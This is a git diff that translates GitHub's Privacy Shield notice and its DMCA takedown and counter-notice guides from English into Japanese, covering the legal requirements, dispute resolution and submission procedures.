-  - We let you choose what happens to your data. Before we use your data for a purpose other than the one for which you gave it to us, we will let you know and get your permission.
-  - We will provide you with reasonable mechanisms to make your choices.
-- **Accountability for Onward Transfer**
-  - When we transfer your information to third party vendors that are processing it on our behalf, we are only sending your data to third parties, under contract with us, that will safeguard it consistently with our Privacy Statement. When we transfer your data to our vendors under Privacy Shield, we remain responsible for it.
-  - We share only the amount of data with our third party vendors as is necessary to complete their transaction.
-- **Security**
-  - We will protect your personal information with [all reasonable and appropriate security measures](https://github.com/security).
-- **Data Integrity and Purpose Limitation**
-  - We only collect your data for the purposes relevant for providing our services to you.
-  - We collect as little information about you as we can, unless you choose to give us more.
-  - We take reasonable steps to ensure that the data we have about you is accurate, current, and reliable for its intended use.
-- **Access**
-  - You are always able to access the data we have about you in your [user profile](https://github.com/settings/profile). You may access, update, alter, or delete your information there.
-- **Recourse, Enforcement and Liability**
-  - If you have questions about our privacy practices, you can reach us with our {% data variables.contact.contact_privacy %} and we will respond within 45 days at the latest.
-  - In the unlikely event of a dispute that we cannot resolve, you have access to binding arbitration at no cost to you. Please see our [Privacy Statement](/articles/github-privacy-statement/) for more information.
-  - We will conduct regular audits of our relevant privacy practices to verify compliance with the promises we have made.
-  - We require our employees to respect our privacy promises, and violation of our privacy policies is subject to disciplinary action up to and including termination of employment.
+- **通知**
+  - 当社は、個人情報を収集する際に、お客様に通知します。
+  - 当社は、当社の[プライバシーに関する声明](/articles/github-privacy-statement/)において、お客様の個人情報を収集および利用する目的、その情報を共有する対象、およびお客様が自らのデータに対して所有するアクセスをお知らせします。
+  - 当社は、プライバシーシールドフレームワークに参加していること、そしてそれがお客様にとって持つ意味をお知らせします。
+  - 当社は、プライバシーに関するご質問を受け付けるため、{% data variables.contact.contact_privacy %}をご用意しています。
+  - 万が一、紛争が生じた場合は、お客様に無償で提供される、拘束力のある仲裁を求める権利についてお知らせします。
+  - 当社は、米国連邦取引委員会の管轄下にあるということをお知らせします。
+- **選択肢の提供**
+  - 当社は、お客様のデータに起こることをお客様に選択していただきます。 お客様のデータを、当社に提供した以外の目的で利用する前に、お客様にお知らせして許可を得ます。
+  - 当社は、お客様が選択を行うための合理的な仕組みを提供します。
+- **第三者移転に関する責任**
+  - 当社に代わってお客様の個人情報を処理する第三者のベンダーに情報を転送する場合、当社はお客様のデータを、当社のプライバシーに関する声明に従って保護する第三者に対してのみ、当社との契約の下に送信します。 当社がプライバシーシールドの下でお客様のデータをベンダーに転送する場合、当社はそれに対して責任を負います。
+  - 当社は、トランザクションを完了するために必要な量のデータのみを第三者ベンダーに共有します。
+- **セキュリティ**
+  - 当社は、[合理的かつ適切なセキュリティ対策](https://github.com/security)をもってお客様の個人情報を保護します。
+- **データの正確性と目的外利用の制限**
+  - 当社は、お客様に当社のサービスを提供する目的に関してのみ、お客様のデータを収集します。
+  - 当社は、できる限り少ない量の個人情報を収集します。ただし、お客様がそれ以上の情報を提供することを選択した場合は除きます。
+  - 当社は、お客様について所有するデータが正確、最新、かつ利用目的において信頼できることを保証するための合理的な措置を講じます。
+- **アクセス**
+  - お客様は、[ユーザプロフィール](https://github.com/settings/profile)で当社がお客様について所有するデータに常にアクセスできます。 その画面において、お客様はご自身の情報に対してアクセス、更新、修正、削除できます。
+- **救済機関、執行および責任**
+  - 当社のプライバシー慣行についてご質問がある場合は、{% data variables.contact.contact_privacy %}でご連絡ください。遅くとも45日以内に返信いたします。
+  - 万が一、私たちが解決できない紛争が生じた場合、お客様は拘束力のある仲裁を無償で利用できます。 詳細は、「[プライバシーについての声明](/articles/github-privacy-statement/)」を参照してください。
+  - 当社は、当社の約束に従っていることを確認するため、関連するプライバシー慣行について定期的な監査を実施します。
+  - 当社は、従業員にプライバシーの約束を尊重することを義務付けており、当社のプライバシーポリシーに違反することは、雇用の終了を含む懲戒処分の対象となります。
 
 
-### Dispute resolution process
+### 紛争解決プロセス
 
-As further explained in the [Resolving Complaints](/github/site-policy/github-privacy-statement#resolving-complaints) section of our [Privacy Statement](/github/site-policy/github-privacy-statement), we encourage you to contact us should you have a Privacy Shield-related (or general privacy-related) complaint. For any complaints that cannot be resolved with GitHub directly, we have selected to cooperate with the relevant EU Data Protection Authority, or a panel established by the European data protection authorities, for resolving disputes with EU individuals, and with the Swiss Federal Data Protection and Information Commissioner (FDPIC) for resolving disputes with Swiss individuals. Please contact us if you’d like us to direct you to your data protection authority contacts.
+当社[プライバシーについての声明](/github/site-policy/github-privacy-statement)の[苦情の解決](/github/site-policy/github-privacy-statement#resolving-complaints)セクションに詳述するように、プライバシーシールドに関連する (または一般的なプライバシーに関連する) 苦情がある場合は、当社にご連絡いただくことをお勧めします。 GitHubで直接解決できない紛争については、EUの個人との紛争解決のために、当社は関係するEUデータ保護機関またはヨーロッパデータ保護機関が設立した委員会と協力することを選択しました。また、スイスの個人との紛争解決のために、スイス連邦データ保護および情報コミッショナー（FDPIC）と協力することを選択しました。 当社からお客様に対して、お客様のデータ保護機関の連絡先を提供することをご希望の場合、当社にご連絡ください。
 
-Additionally, if you are a resident of an EU member state, you have the right to file a complaint with your local supervisory authority.
+さらに、お客様がEUメンバー国の住民の場合、お客様の地元国の監督機関に苦情を申し立てる権利を有します。
 
-### Independent arbitration
+### 独立した仲裁者
 
-Under certain limited circumstances, EU, European Economic Area (EEA), Swiss, and UK individuals may invoke binding Privacy Shield arbitration as a last resort if all other forms of dispute resolution have been unsuccessful. To learn more about this method of resolution and its availability to you, please read more about [Privacy Shield](https://www.privacyshield.gov/article?id=ANNEX-I-introduction). Arbitration is not mandatory; it is a tool you can use if you so choose.
+一定の制限された状況において、EU、欧州経済領域（EEA）、スイスおよびイギリスの個人は、他の紛争解決方法が成功しなかった場合、最終手段として、拘束力のあるプライバシーシールド仲裁の救済を求めることができます。 解決方法および利用可能性について知りたい場合、詳細は、[プライバシーシールド](https://www.privacyshield.gov/article?id=ANNEX-I-introduction)を参照してください。 仲裁は必須ではありません。お客様が選択した場合に利用できるツールです。
 
-We are subject to the jurisdiction of the US Federal Trade Commission (FTC).
-  
-Please see our [Privacy Statement](/articles/github-privacy-statement/) for more information.
+当社は、米国連邦取引委員会（FTC）の管轄下にあります。
+
+詳細は、「[プライバシーについての声明](/articles/github-privacy-statement/)」を参照してください。
diff --git a/translations/ja-JP/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md b/translations/ja-JP/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md
index e2dbb93740..b9b1a1d80e 100644
--- a/translations/ja-JP/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md
+++ b/translations/ja-JP/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md
@@ -1,5 +1,5 @@
 ---
-title: Guide to Submitting a DMCA Counter Notice
+title: DMCAカウンター通知の提出ガイド
 redirect_from:
   - /dmca-counter-notice-how-to
   - /articles/dmca-counter-notice-how-to
@@ -11,68 +11,56 @@ topics:
   - Legal
 ---
 
-This guide describes the information that GitHub needs in order to process a counter notice to a DMCA takedown request. If you have more general questions about what the DMCA is or how GitHub processes DMCA takedown requests, please review our [DMCA Takedown Policy](/articles/dmca-takedown-policy).
+このガイドでは、DMCA テイクダウンリクエストに対する異議申し立て通知を処理するために GitHub が必要とする情報について説明します。 DMCA とは何かや、GitHub が DMCA テイクダウンリクエストをどのように処理するかなど、一般的な質問については [DMCA テイクダウンポリシー](/articles/dmca-takedown-policy)をご覧ください。
 
-If you believe your content on GitHub was mistakenly disabled by a DMCA takedown request, you have the right to contest the takedown by submitting a counter notice. If you do, we will wait 10-14 days and then re-enable your content unless the copyright owner initiates a legal action against you before then. Our counter-notice form, set forth below, is consistent with the form suggested by the DMCA statute, which can be found at the U.S. Copyright Office's official website: <https://www.copyright.gov>.
+GitHub のあなたのコンテンツが DMCA テイクダウンリクエストにより誤って無効にされたと思われる場合、異議申し立て通知を提出して削除に異議を申し立てる権利があります。 異議を申し立てた場合、10〜14 日の期間内に著作権所有者があなたに対して法的措置を講じない限り、当社はコンテンツを再度有効にします。 以下に定める当社の異議申し立て通知の形式は、DMCA 法で提案されている形式と一致しています。 これは、米著作権局の公式ウェブサイト（<https://www.copyright.gov>）でご確認いただけます。
 
-As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such.
+法律に関わるあらゆる事項と同様、具体的な疑問や状況については専門家に相談するのが常に最善です。 あなたの権利に影響を及ぼす可能性のある行動をとる前に、そうすることを強くお勧めします。 このガイドは法律上の助言ではなく、またそのように解釈されるべきではありません。
 
-## Before You Start
+## はじめる前に
 
-***Tell the Truth.***
-The DMCA requires that you swear to your counter notice *under penalty of perjury*. It is a federal crime to intentionally lie in a sworn declaration. (*See* [U.S. Code, Title 18, Section 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) Submitting false information could also result in civil liability—that is, you could get sued for money damages.
+*** 真実を教えてください。***DMCA では、宣誓を行い、虚偽の申し立てを行った場合には*偽証罪によって罰せられるという条件で*異議申し立て通知を行うことを義務付けています。 宣誓宣言で意図的に虚偽の陳述を行うと連邦犯罪になります。   （[合衆国法典、タイトル 18、セクション 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm) *を参照してください</em>。 ）虚偽の情報を提出すると、民事責任が発生する可能性もあります。 つまり、金銭的損害で訴えられる可能性があります。
 
-***Investigate.***
-Submitting a DMCA counter notice can have real legal consequences. If the complaining party disagrees that their takedown notice was mistaken, they might decide to file a lawsuit against you to keep the content disabled. You should conduct a thorough investigation into the allegations made in the takedown notice and probably talk to a lawyer before submitting a counter notice.
+***調査してください。***DMCA 異議申し立て通知を提出すると、現実的な法的結果が生じる可能性があります。 苦情を申し立てた当事者がテイクダウン通知が間違っていることに同意しない場合、コンテンツを無効にし続けるためにあなたに対して訴訟を起こすことがあります。 あなたは、テイクダウン通知でなされた申し立てを徹底的に調査し、そして異議申し立て通知を提出する前に弁護士に相談するべきでしょう。
 
-***You Must Have a Good Reason to Submit a Counter Notice.***
-In order to file a counter notice, you must have "a good faith belief that the material was removed or disabled as a result of mistake or misidentification of the material to be removed or disabled." ([U.S. Code, Title 17, Section 512(g)](https://www.copyright.gov/title17/92chap5.html#512).) Whether you decide to explain why you believe there was a mistake is up to you and your lawyer, but you *do* need to identify a mistake before you submit a counter notice. In the past, we have received counter notices citing mistakes in the takedown notice such as: the complaining party doesn't have the copyright; I have a license; the code has been released under an open-source license that permits my use; or the complaint doesn't account for the fact that my use is protected by the fair-use doctrine. Of course, there could be other defects with the takedown notice.
+***You Must Have a Good Reason to Submit a Counter Notice.*** In order to file a counter notice, you must have "a good faith belief that the material was removed or disabled as a result of mistake or misidentification of the material to be removed or disabled." ([合衆国 法典、タイトル 17 、セクション 512 (g)](https://www.copyright.gov/title17/92chap5.html#512) を参照してください。) 間違いがあったと考える理由を説明するかどうかはあなたとあなたの弁護士次第ですが、異議申し立て通知を提出する前に*必ず*間違いを特定する必要があります。 過去に当社が受け取った異議申し立て通知で挙げられたテイクダウン通知の間違いとしては、「苦情を申し立てた当事者に著作権がない」、「私はライセンスを持っている」、「コードは、私の使用を許可するオープンソースライセンスの下でリリースされている」、「苦情は、私の使用がフェアユースの原則によって保護されているという事実を考慮していない」などがあります。 もちろん、テイクダウン通知の欠陥には他の内容も考えられます。
 
-***Copyright Laws Are Complicated.***
-Sometimes a takedown notice might allege infringement in a way that seems odd or indirect. Copyright laws are complicated and can lead to some unexpected results. In some cases a takedown notice might allege that your source code infringes because of what it can do after it is compiled and run. For example:
-  - The notice may claim that your software is used to [circumvent access controls](https://www.copyright.gov/title17/92chap12.html) to copyrighted works.
-  - [Sometimes](https://www.copyright.gov/docs/mgm/) distributing software can be copyright infringement, if you induce end users to use the software to infringe copyrighted works.
-  - A copyright complaint might also be based on [non-literal copying](https://en.wikipedia.org/wiki/Substantial_similarity) of design elements in the software, rather than the source code itself — in other words, someone has sent a notice saying they think your *design* looks too similar to theirs.
+***著作権法は複雑です。***テイクダウン通知による侵害の申し立ては、奇妙であったり直接的でないように思える場合があります。 著作権法は複雑であり、予期しない結果を招く可能性があります。 場合によっては、テイクダウン通知では、コンパイルおよび実行後にできることが理由で、あなたのソースコードが著作権を侵害していると申し立てられる場合があります。 例:
+  - 著作物に対する[アクセス制御を迂回](https://www.copyright.gov/title17/92chap12.html)するためにあなたのソフトウェアが使用されていると申し立てられる場合があります。
+  - ソフトウェアを使用して著作物を侵害するようエンドユーザを誘導した場合、ソフトウェアの配布が著作権侵害になる[場合があります](https://www.copyright.gov/docs/mgm/)。
+  - 著作権侵害の申し立てが、ソースコード自体ではなく、ソフトウェアのデザイン要素の[文字通りでない複製](https://en.wikipedia.org/wiki/Substantial_similarity)に基づいている場合もあります。つまり、あなたの*デザイン*が他の誰かのデザインに酷似しているという通知を受け取る場合があります。
 
-These are just a few examples of the complexities of copyright law. Since there are many nuances to the law and some unsettled questions in these types of cases, it is especially important to get professional advice if the infringement allegations do not seem straightforward.
+これらは、著作権法の複雑さを示すほんの一例に過ぎません。 法律には多くの微妙な点があり、上記のようなケースには未解決の疑問が残っているため、侵害の申し立てが簡単ではないと思われる場合は専門家のアドバイスを受けることが特に重要です。
 
-***A Counter Notice Is A Legal Statement.***
-We require you to fill out all fields of a counter notice completely, because a counter notice is a legal statement — not just to us, but to the complaining party. As we mentioned above, if the complaining party wishes to keep the content disabled after receiving a counter notice, they will need to initiate a legal action seeking a court order to restrain you from engaging in infringing activity relating to the content on GitHub. In other words, you might get sued (and you consent to that in the counter notice).
+***異議申し立て通知は法的声明です。***異議申し立て通知は当社に対してだけでなく、苦情を申し立てた当事者に対する法的声明でもあるため、異議申し立て通知を提出する場合はすべてのフィールドを不備なく記入する必要があります。 上述したように、異議申し立て通知を受け取った後も、苦情を申し立てた当事者側が引き続きコンテンツを無効にしたい場合、GitHub のコンテンツに関連する侵害行為にあなたが関与することを差し止める裁判所命令を求めて、法的措置を講じる必要があります。 つまり、あなたは訴えられる可能性があります（また、あなたは異議申し立て通知でこれに同意します）。
 
-***Your Counter Notice Will Be Published.***
-As noted in our [DMCA Takedown Policy](/articles/dmca-takedown-policy#d-transparency), **after redacting personal information,** we publish all complete and actionable counter notices at <https://github.com/github/dmca>. Please also note that, although we will only publicly publish redacted notices, we may provide a complete unredacted copy of any notices we receive directly to any party whose rights would be affected by it. If you are concerned about your privacy, you may have a lawyer or other legal representative file the counter notice on your behalf.
+***あなたの異議申し立て通知は公開されます。***[DMCA テイクダウンポリシー](/articles/dmca-takedown-policy#d-transparency)に記載されているように、当社は、完全かつ法的に有効なすべての異議申し立て通知を、**個人情報を編集した上**、<https://github.com/github/dmca> で公開しています。 また、当社は編集後の通知しか公開しませんが、それによって自身の権利が影響を受ける当事者に対しては、受け取った通知の未編集の完全な写しを直接提供する場合がありますのでご注意ください。 プライバシーが心配な場合は、あなたの代わりに弁護士または他の法定代理人に異議申し立て通知を提出してもらうことができます。
 
-***GitHub Isn't The Judge.***
-GitHub exercises little discretion in this process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury.
+***GitHub は裁判官ではありません。***GitHub は、通知が DMCA の最小要件を満たしているかどうかを判断する以外、このプロセスではほとんど裁量権を行使しません。 主張の価値の評価は当事者（およびその弁護士）に委ねられます。なお、通知は偽証罪によって罰せられる対象になることにご注意ください。
 
-***Additional Resources.***
-If you need additional help, there are many self-help resources online. Lumen has an informative set of guides on [copyright](https://www.lumendatabase.org/topics/5) and [DMCA safe harbor](https://www.lumendatabase.org/topics/14). If you are involved with an open-source project in need of legal advice, you can contact the [Software Freedom Law Center](https://www.softwarefreedom.org/about/contact/). And if you think you have a particularly challenging case, non-profit organizations such as the [Electronic Frontier Foundation](https://www.eff.org/pages/legal-assistance) may also be willing to help directly or refer you to a lawyer.
+***その他のリソース。***さらにサポートが必要な場合は、インターネット上に利用できるリソースが数多く用意されています。 Lumen には、[著作権](https://www.lumendatabase.org/topics/5)と [DMCA セーフハーバー](https://www.lumendatabase.org/topics/14)に関する有益なガイドがあります。 法的助言が必要なオープンソースプロジェクトに関与している場合は、[Software Freedom Law Center](https://www.softwarefreedom.org/about/contact/) に問い合わせることができます。 また、特に困難な事態に直面したと思われる場合は、[Electronic Frontier Foundation](https://www.eff.org/pages/legal-assistance) などの非営利団体から直接支援を受けたり、弁護士を紹介してもらえる場合もあります。
 
-## Your Counter Notice Must...
+## 異議申し立て通知は...
 
-1. **Include the following statement: "I have read and understand GitHub's Guide to Filing a DMCA Counter Notice."**
-We won't refuse to process an otherwise complete counter notice if you don't include this statement; however, we will know that you haven't read these guidelines and may ask you to go back and do so.
+1. **"I have read and understand GitHub's Guide to Filing a DMCA Counter Notice."（GitHub の DMCA 異議申し立て通知提出ガイドを読んで理解しました。）という文言を含んでいなければなりません。**この文言が含まれていないとしても、異議申し立て通知に不備がなければ当社は処理を拒否しません。ただし、このガイドラインを読んでいないと判断できるため、ガイドラインを読むように求める場合があります。
 
-2. ***Identify the content that was disabled and the location where it appeared.***
-The disabled content should have been identified by URL in the takedown notice. You simply need to copy the URL(s) that you want to challenge.
+2. ***無効にされたコンテンツとそれが表示されていた場所を特定しなければなりません。***無効にされたコンテンツは、テイクダウン通知の URL で特定されているはずです。 このため、すべきことは異議申し立て通知の対象の URL をコピーするだけです。
 
-3. **Provide your contact information.**
-Include your email address, name, telephone number, and physical address.
+3. **あなたの連絡先情報を提供しなければなりません。**メールアドレス、名前、電話番号、住所を記載してください。
 
-4. ***Include the following statement: "I swear, under penalty of perjury, that I have a good-faith belief that the material was removed or disabled as a result of a mistake or misidentification of the material to be removed or disabled."***
-You may also choose to communicate the reasons why you believe there was a mistake or misidentification. If you think of your counter notice as a "note" to the complaining party, this is a chance to explain why they should not take the next step and file a lawsuit in response. This is yet another reason to work with a lawyer when submitting a counter notice.
+4. ***"I swear, under penalty of perjury, that I have a good-faith belief that the material was removed or disabled as a result of a mistake or misidentification of the material to be removed or disabled."（私は、偽証罪の罰則に基づき、削除または無効化の対象の資料の間違いまたは誤認の結果、その資料が削除または無効化されたという誠実な信念を持っていると誓います。）という文言を含んでいなければなりません。***また、間違いや誤認があったと思われる理由を伝えることもできます。 これは、苦情を申し立てている当事者への「通告」として異議申し立て通知を提出する場合、相手が次の手段として訴訟を起こすべきではない理由を説明する機会になります。 これもまた、異議申し立て通知を提出する際に弁護士と協力すべき理由の 1 つです。
 
-5. ***Include the following statement: "I consent to the jurisdiction of Federal District Court for the judicial district in which my address is located (if in the United States, otherwise the Northern District of California where GitHub is located), and I will accept service of process from the person who provided the DMCA notification or an agent of such person."***
+5. ***"I consent to the jurisdiction of Federal District Court for the judicial district in which my address is located (if in the United States, otherwise the Northern District of California where GitHub is located), and I will accept service of process from the person who provided the DMCA notification or an agent of such person."（私は、私の住所がある司法管轄区（米国の場合は GitHub が所在するカリフォルニア州北部地区）の連邦地方裁判所の管轄に同意し、DMCA 通知を提供した人物またはかかる人物の代理人からの令状の送達を受け入れます。）という文言を含んでいなければなりません。***
 
-6. **Include your physical or electronic signature.**
+6. **物理的または電子的な署名を含めてください。**
 
-## How to Submit Your Counter Notice
+## 異議申し立て通知の提出方法
 
-The fastest way to get a response is to enter your information and answer all the questions on our {% data variables.contact.contact_dmca %}.
+{% data variables.contact.contact_dmca %} で情報を入力し、すべての質問に答えることで、最も早く回答を得ることができます。
 
-You can also send an email notification to <copyright@github.com>. You may include an attachment if you like, but please also include a plain-text version of your letter in the body of your message.
+また、<copyright@github.com> にメール通知を送信することもできます。 必要に応じて添付ファイルを含めることもできますが、メッセージの本文には平文版の文書も含めてください。
 
-If you must send your notice by physical mail, you can do that too, but it will take *substantially* longer for us to receive and respond to it—and the 10-14 day waiting period starts from when we *receive* your counter notice. Notices we receive via plain-text email have a much faster turnaround than PDF attachments or physical mail. If you still wish to mail us your notice, our physical address is:
+通知を郵送する必要がある場合は、それも可能ですが、通知の受け取りと応答には*相当な*時間がかかります。具体的には、当社が異議申し立て通知を*受領*してから 10〜14 日お待ちいただくことになります。 当社は、平文のメールで作られた通知の方が、PDF ファイルが添付されている場合や郵送の場合よりもずっと早く回答することができます。 それでも通知を郵送する場合は、当社の住所は次のとおりです。
 
 ```
 GitHub, Inc
diff --git a/translations/ja-JP/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md b/translations/ja-JP/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md
index deccf23500..89422bb465 100644
--- a/translations/ja-JP/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md
+++ b/translations/ja-JP/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md
@@ -1,5 +1,5 @@
 ---
-title: Guide to Submitting a DMCA Takedown Notice
+title: DMCAテイクダウン通知のガイドの提出
 redirect_from:
   - /dmca-notice-how-to
   - /articles/dmca-notice-how-to
@@ -11,80 +11,79 @@ topics:
   - Legal
 ---
 
-This guide describes the information that GitHub needs in order to process a DMCA takedown request. If you have more general questions about what the DMCA is or how GitHub processes DMCA takedown requests, please review our [DMCA Takedown Policy](/articles/dmca-takedown-policy).
+このガイドでは、DMCA テイクダウンリクエストを処理するために GitHub が必要とする情報について説明します。 DMCA とは何かや、GitHub が DMCA テイクダウンリクエストをどのように処理するかなど、一般的な質問については [DMCA テイクダウンポリシー](/articles/dmca-takedown-policy)をご覧ください。
 
-Due to the type of content GitHub hosts (mostly software code) and the way that content is managed (with Git), we need complaints to be as specific as possible. These guidelines are designed to make the processing of alleged infringement notices as straightforward as possible. Our form of notice set forth below is consistent with the form suggested by the DMCA statute, which can be found at the U.S. Copyright Office's official website: <https://www.copyright.gov>.
+GitHub がホストするコンテンツの種類（主にソフトウェアコード）やコンテンツの管理方法（Git を使用）の性質上、苦情はできるだけ具体的にする必要があります。 このガイドラインの目的は、著作権侵害の申し立て通知の処理をできるだけ簡単にすることです。 以下に定める当社の通知形式は、DMCA 法で提案されている形式と一致しています。 これは、米著作権局の公式ウェブサイト（<https://www.copyright.gov>）でご確認いただけます。
 
-As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such.
+法律に関わるあらゆる事項と同様、具体的な疑問や状況については専門家に相談するのが常に最善です。 あなたの権利に影響を及ぼす可能性のある行動をとる前に、そうすることを強くお勧めします。 このガイドは法律上の助言ではなく、またそのように解釈されるべきではありません。
 
-## Before You Start
+## はじめる前に
 
-***Tell the Truth.*** The DMCA requires that you swear to the facts in your copyright complaint *under penalty of perjury*. It is a federal crime to intentionally lie in a sworn declaration. (*See* [U.S. Code, Title 18, Section 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) Submitting false information could also result in civil liability — that is, you could get sued for money damages. The DMCA itself [provides for damages](https://en.wikipedia.org/wiki/Online_Copyright_Infringement_Liability_Limitation_Act#%C2%A7_512(f)_Misrepresentations) against any person who knowingly materially misrepresents that material or activity is infringing.
+*** 真実を教えてください。***DMCA では、*偽証罪によって罰せられるという条件で*著作権侵害の申し立てを行うことを義務付けています。 宣誓宣言で意図的に虚偽の陳述を行うと連邦犯罪になります。   （[合衆国法典、タイトル 18、セクション 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm) *を参照してください</em>。 ）虚偽の情報を提出すると、民事責任が発生する可能性もあります。 つまり、金銭的損害で訴えられる可能性があります。 DMCA 自体には、資料や活動が権利を侵害していることを故意かつ実質的に不実表示した人物に対する[損害賠償が規定](https://en.wikipedia.org/wiki/Online_Copyright_Infringement_Liability_Limitation_Act#%C2%A7_512(f)_Misrepresentations)されています。
 
-***Investigate.*** Millions of users and organizations pour their hearts and souls into the projects they create and contribute to on GitHub. Filing a DMCA complaint against such a project is a serious legal allegation that carries real consequences for real people. Because of that, we ask that you conduct a thorough investigation and consult with an attorney before submitting a takedown to make sure that the use isn't actually permissible.
+***調査してください。***何百万人ものユーザや組織が、GitHub で作成およびコントリビューションするプロジェクトに心血を注ぎ込んでいます。 このようなプロジェクトに対して DMCA の苦情を申し立てることは、実在する人々に現実的な結果をもたらすことになる、重大な法的措置です。 そのため、テイクダウンを送信する前に徹底的な調査を行い、弁護士に相談して、実際に使用が許可されていないことを確認してください。
 
-***Ask Nicely First.*** A great first step before sending us a takedown notice is to try contacting the user directly. They may have listed contact information on their public profile page or in the repository's README, or you could get in touch by opening an issue or pull request on the repository. This is not strictly required, but it is classy.
+***まずは丁寧にお願いしてください。***当社にテイクダウン通知を送信する前に、まずはユーザに直接連絡することが重要です。 連絡先情報は公開プロフィールページやリポジトリの README に記載されている場合があります。または、Issue を開いたり、リポジトリでプルリクエストを送信して連絡を取ることもできます。 これは厳密には義務ではありませんが、その方が上品なやり方と言えるでしょう。
 
-***Send In The Correct Request.*** We can only accept DMCA takedown notices for works that are protected by copyright, and that identify a specific copyrightable work. If you have a complaint about trademark abuse, please see our [trademark policy](/articles/github-trademark-policy/). If you wish to remove sensitive data such as passwords, please see our [policy on sensitive data](/articles/github-sensitive-data-removal-policy/). If you are dealing with defamation or other abusive behavior, please see our [Community Guidelines](/articles/github-community-guidelines/).
+***リクエストは正しく送信してください。***当社は、著作権で保護されている著作物についての、特定の著作物を特定している DMCA テイクダウン通知のみを受け入れることができます。 商標権侵害についての苦情がある場合は、[商標ポリシー](/articles/github-trademark-policy/)をご覧ください。 パスワードなどの機密データを削除したい場合は、[機密データに関するポリシー](/articles/github-sensitive-data-removal-policy/)をご覧ください。 名誉毀損またはその他の虐待行為が対象の場合は、[コミュニティガイドライン](/articles/github-community-guidelines/)をご覧ください。
 
-***Code Is Different From Other Creative Content.*** GitHub is built for collaboration on software code. This makes identifying a valid copyright infringement more complicated than it might otherwise be for, say, photos, music, or videos.
+***コードは他のクリエイティブコンテンツとは異なります。***GitHub はソフトウェアコードのコラボレーションのために構築されています。 このため、著作権侵害を正しく特定することが、写真、音楽、ビデオなどの他のものと比べて難しくなります。
 
-There are a number of reasons why code is different from other creative content. For instance:
+コードが他のクリエイティブコンテンツと異なる理由はいくつもあります。 以下はその例です。
 
-- A repository may include bits and pieces of code from many different people, but only one file or even a sub-routine within a file infringes your copyrights.
-- Code mixes functionality with creative expression, but copyright only protects the expressive elements, not the parts that are functional.
-- There are often licenses to consider. Just because a piece of code has a copyright notice does not necessarily mean that it is infringing. It is possible that the code is being used in accordance with an open-source license.
-- A particular use may be [fair-use](https://www.lumendatabase.org/topics/22) if it only uses a small amount of copyrighted content, uses that content in a transformative way, uses it for educational purposes, or some combination of the above. Because code naturally lends itself to such uses, each use case is different and must be considered separately.
-- Code may be alleged to infringe in many different ways, requiring detailed explanations and identifications of works.
+- リポジトリにはさまざまな人々からのコードの断片が含まれる場合がありますが、1 つのファイル、さらにはファイル内のサブルーチンでさえ著作権侵害に該当します。
+- コードは機能性と創造的な表現の組み合わせですが、著作権が保護するのは機能的な部分ではなく、表現要素のみです。
+- 多くの場合、考慮すべきライセンスがあります。 コードの一部に著作権表示があるからといって、必ずしも著作権を侵害しているとは限りません。 コードがオープンソースライセンスに従って使用されている可能性もあります。
+- 著作権で保護されたコンテンツを少量のみ使用する場合、そのコンテンツを変革的な方法で使用する場合、教育目的で使用する場合、または上記を組み合わせた場合、特定の使用が[フェアユース](https://www.lumendatabase.org/topics/22)に該当する場合があります。 コードは当然そのような用途に適しているため、使用事例ごとに異なり、個別に検討する必要があります。
+- コードに関する著作権侵害の申し立てにはさまざまな形があるため、著作物の詳細な説明と識別が求められます。
 
-This list isn't exhaustive, which is why speaking to a legal professional about your proposed complaint is doubly important when dealing with code.
+このリストはすべてを網羅しているわけではありません。そのため、コードを扱う際にあなたが申し立てる苦情について法律専門家に相談することは二重の意味で重要です。
 
-***No Bots.*** You should have a trained professional evaluate the facts of every takedown notice you send. If you are outsourcing your efforts to a third party, make sure you know how they operate, and make sure they are not using automated bots to submit complaints in bulk. These complaints are often invalid and processing them results in needlessly taking down projects!
+***ボットを使わないでください。***熟練の専門家に、あなたが送信するすべてのテイクダウン通知の事実を評価してもらうべきです。 取り組みを第三者に外部委託している場合は、その活動内容を把握し、第三者が自動化されたボットを使用して苦情を一括送信していないことを確認してください。 ボットを使った苦情は多くの場合無効であり、このような処理を行うとプロジェクトが不必要に削除されてしまいます。
 
-***Matters of Copyright Are Hard.*** It can be very difficult to determine whether or not a particular work is protected by copyright. For example, facts (including data) are generally not copyrightable. Words and short phrases are generally not copyrightable. URLs and domain names are generally not copyrightable. Since you can only use the DMCA process to target content that is protected by copyright, you should speak with a lawyer if you have questions about whether or not your content is protectable.
+***著作権の問題は難解です。***特定の対象が著作権で保護されているかどうかを判断するのは非常に困難な場合があります。 たとえば、事実（データを含む）は一般に著作権の対象ではありません。 また、単語や短いフレーズは一般に著作権の対象ではありません。 そして、URL やドメイン名も一般に著作権の対象ではありません。 DMCA プロセスを使用できるのは著作権で保護されているコンテンツを対象とする場合のみであるため、コンテンツが保護可能かどうかについて質問がある場合は弁護士に相談する必要があります。
 
-***You May Receive a Counter Notice.*** Any user affected by your takedown notice may decide to submit a [counter notice](/articles/guide-to-submitting-a-dmca-counter-notice). If they do, we will re-enable their content within 10-14 days unless you notify us that you have initiated a legal action seeking to restrain the user from engaging in infringing activity relating to the content on GitHub.
